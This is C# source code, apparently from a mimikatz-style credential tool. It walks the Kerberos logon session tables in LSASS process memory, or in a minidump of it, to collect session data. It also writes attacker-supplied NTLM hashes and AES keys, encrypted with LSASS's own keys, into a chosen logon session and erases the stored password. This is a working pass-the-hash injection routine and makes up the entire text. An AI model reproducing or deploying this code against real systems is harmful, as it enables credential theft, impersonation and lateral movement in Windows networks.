private static void WalkAVLTables(ref IntPtr hLsass, IntPtr pElement, List <KerberosLogonItem> klogonlist, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist) { if (pElement == IntPtr.Zero) { return; } byte[] entryBytes = Utility.ReadFromLsass(ref hLsass, pElement, Marshal.SizeOf(typeof(RTL_AVL_TABLE))); RTL_AVL_TABLE entry = Utility.ReadStruct <RTL_AVL_TABLE>(entryBytes); if (entry.OrderedPointer != IntPtr.Zero) { byte[] krbrLogonSessionBytes = Utility.ReadFromLsass(ref hLsass, entry.OrderedPointer, oshelper.LogonSessionTypeSize); KerberosLogonItem item = new KerberosLogonItem(); item.LogonSessionAddress = entry.OrderedPointer; item.LogonSessionBytes = krbrLogonSessionBytes; klogonlist.Add(item); } if (entry.BalancedRoot.RightChild != IntPtr.Zero) { WalkAVLTables(ref hLsass, entry.BalancedRoot.RightChild, klogonlist, oshelper, iv, aeskey, deskey, logonlist); } if (entry.BalancedRoot.LeftChild != IntPtr.Zero) { WalkAVLTables(ref hLsass, entry.BalancedRoot.LeftChild, klogonlist, oshelper, iv, aeskey, deskey, logonlist); } }
private static void WalkAVLTables(Program.MiniDump minidump, long kerbUnloadLogonSessionTableAddr, List <KerberosLogonItem> klogonlist, kerberos.KerberosTemplate template) { if (kerbUnloadLogonSessionTableAddr == 0) { return; } kerbUnloadLogonSessionTableAddr = Rva2offset(minidump, kerbUnloadLogonSessionTableAddr); minidump.fileBinaryReader.BaseStream.Seek(kerbUnloadLogonSessionTableAddr, 0); var entryBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(kerberos.RTL_AVL_TABLE))); var entry = ReadStruct <kerberos.RTL_AVL_TABLE>(entryBytes); //Minidump.Helpers.PrintProperties(entry); if (entry.OrderedPointer != 0) { var item = new KerberosLogonItem(); long address = Rva2offset(minidump, entry.OrderedPointer); minidump.fileBinaryReader.BaseStream.Seek(address, 0); item.LogonSessionAddress = address; item.LogonSessionBytes = minidump.fileBinaryReader.ReadBytes(template.LogonSessionTypeSize); klogonlist.Add(item); //Minidump.Helpers.PrintProperties(item); } if (entry.BalancedRoot.RightChild != 0) { WalkAVLTables(minidump, entry.BalancedRoot.RightChild, klogonlist, template); } if (entry.BalancedRoot.LeftChild != 0) { WalkAVLTables(minidump, entry.BalancedRoot.LeftChild, klogonlist, template); } }
public static void WriteKerberosKeys(ref IntPtr hLsass, KerberosLogonItem krbrLogonSession, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, ref SEKURLSA_PTH_DATA pthData) { Type kerberossessiontype = oshelper.KerberosLogonSessionType; Type kerberoshshtype = oshelper.KerberosHashType; byte[] krbrLogonSessionBites = krbrLogonSession.LogonSessionBytes; byte[] encNtlmHashBytes = null; byte[] encAes128Bytes = null; byte[] encAes256Bytes = null; IntPtr pKeyList = new IntPtr(BitConverter.ToInt64(krbrLogonSessionBites, oshelper.KerberosLogonSessionKeyListOffset)); if (pKeyList == IntPtr.Zero) { return; } LUID luid = Utility.ReadStruct <LUID>(Utility.GetBytes(krbrLogonSessionBites, oshelper.KerberosSessionLocallyUniqueIdentifierOffset, Marshal.SizeOf(typeof(LUID)))); if (pthData.LogonId.HighPart != luid.HighPart || pthData.LogonId.LowPart != luid.LowPart) { return; } byte[] keylistBytes = Utility.ReadFromLsass(ref hLsass, pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))); if (pthData.NtlmHash != null) { encNtlmHashBytes = Crypto.BCrypt.EncryptCredentials(pthData.NtlmHash, iv, aeskey, deskey); } if (pthData.Aes128Key != null) { encAes128Bytes = Crypto.BCrypt.EncryptCredentials(pthData.Aes128Key, iv, aeskey, deskey); } if (pthData.Aes256Key != null) { encAes256Bytes = Crypto.BCrypt.EncryptCredentials(pthData.Aes256Key, iv, aeskey, deskey); } int items = BitConverter.ToInt32(keylistBytes, Utility.FieldOffset <KIWI_KERBEROS_KEYS_LIST_6>("cbItem")); int structsize = Marshal.SizeOf(kerberoshshtype); int readsize = items * structsize; byte[] hashpassBytes = Utility.ReadFromLsass(ref hLsass, IntPtr.Add(pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))), readsize); pthData.isReplaceOk = true; for (int i = 0; (i < items) && pthData.isReplaceOk; i++) { byte[] bytesToWrite = null; int currentindex = (i * structsize) + oshelper.KerberosHashGenericOffset; byte[] entryBytes = Utility.GetBytes(hashpassBytes, currentindex, Marshal.SizeOf(typeof(KERB_HASHPASSWORD_GENERIC))); KERB_HASHPASSWORD_GENERIC entry = Utility.ReadStruct <KERB_HASHPASSWORD_GENERIC>(entryBytes); string keyentry = KerberosTicketEtype((int)entry.Type); UNICODE_STRING checksum = new UNICODE_STRING { Length = (ushort)entry.Size, MaximumLength = (ushort)entry.Size, Buffer = entry.Checksump }; if (encNtlmHashBytes != null && ((entry.Type != KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && (entry.Type != KERB_ETYPE_AES256_CTS_HMAC_SHA1_96)) && ((int)entry.Size == LM_NTLM_HASH_LENGTH)) { bytesToWrite = encNtlmHashBytes; } else if (encAes128Bytes != null && (entry.Type == KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && ((int)entry.Size == AES_128_KEY_LENGTH)) { bytesToWrite = encAes128Bytes; } else if (encAes256Bytes != null && (entry.Type == KERB_ETYPE_AES256_CTS_HMAC_SHA1_96) && ((int)entry.Size == AES_256_KEY_LENGTH)) { bytesToWrite = encAes256Bytes; } if (bytesToWrite != null) { pthData.isReplaceOk = Utility.WriteToLsass(ref hLsass, checksum.Buffer, bytesToWrite); } } if (pthData.isReplaceOk) { byte[] pasreplace = new byte[oshelper.KerberosPasswordEraseSize]; pthData.isReplaceOk = Utility.WriteToLsass(ref hLsass, IntPtr.Add(krbrLogonSession.LogonSessionAddress, oshelper.KerberosOffsetPasswordErase), pasreplace); } }